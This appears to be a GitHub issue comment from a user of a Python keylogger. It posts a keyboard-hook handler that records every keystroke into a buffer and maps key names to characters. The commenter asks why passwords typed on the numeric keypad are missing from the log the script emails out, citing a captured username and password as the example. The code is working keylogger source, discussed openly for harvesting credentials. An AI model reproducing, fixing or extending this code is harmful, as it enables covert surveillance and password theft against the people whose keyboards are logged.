Open joker8989 opened 6 years ago
Hi,
I solved this problem by writing event.Key instead of event.Ascii. Yes, in that way, the program gives the output like "Enter, "Lshift", "Escape","Numpad9". But I solved this second issue by a workaround. I wrote a simple algorithm that converts these outputs into the keys I want. The code is as follows:
` def OnKeyboardEvent(event): key_strokes = {"Escape": "esc", "Oem_3": " '' ", "Oem_8": "", "Return":"\n", "Oem_Minus": "-", "Back": "Back", "Divide": "/", "Multiply": "", "Subtract": "-", "Capital": "CapsLock", "Oem_4": "Ğ", "Oem_6": "Ü", "Oem_1": "Ş", "Oem_7": "i", "Oem_Comma": ",", "Oem_102": "<", "Oem_2": "Ö", "Oem_5": "Ç", "Oem_Period": ".", "Numpad1": "1", "Numpad2": "2", "Numpad3": "3", "Numpad4": "4", "Numpad5": "5", "Numpad6": "6", "Numpad7": "7", "Numpad8": "8", "Numpad9": "9", "Numpad0": "0", "Decimal": ",", "Add": "+", "Space":" "}
global data
keylog = event.Key
if str(keylog) in list(key_strokes.keys()):
keylog = key_strokes[keylog]
data = data + keylog
else:
data = data + keylog
return True`
The script basically works fine i tested it with 'email' option the problem is when i type numbers:
in the keyboard we have 2 options to set numbers:
the numbers above that are including( !@#$%^&*() = 1234567890) the script thinks that the numbers are symbols and print the numbers as !@#$%^& instead of 12345678.... now i dont have problem with that the real problem is when i type the right side of the keyboard numbers (where is the NUMLOCK button) i get an empty email for example i type
username : rnmafjfafn@gmail.com password : 123456789 (right side of the keyboard)
i get an email that prints just : username: rnmafjfafn@gmail.com without the password...
any ideas???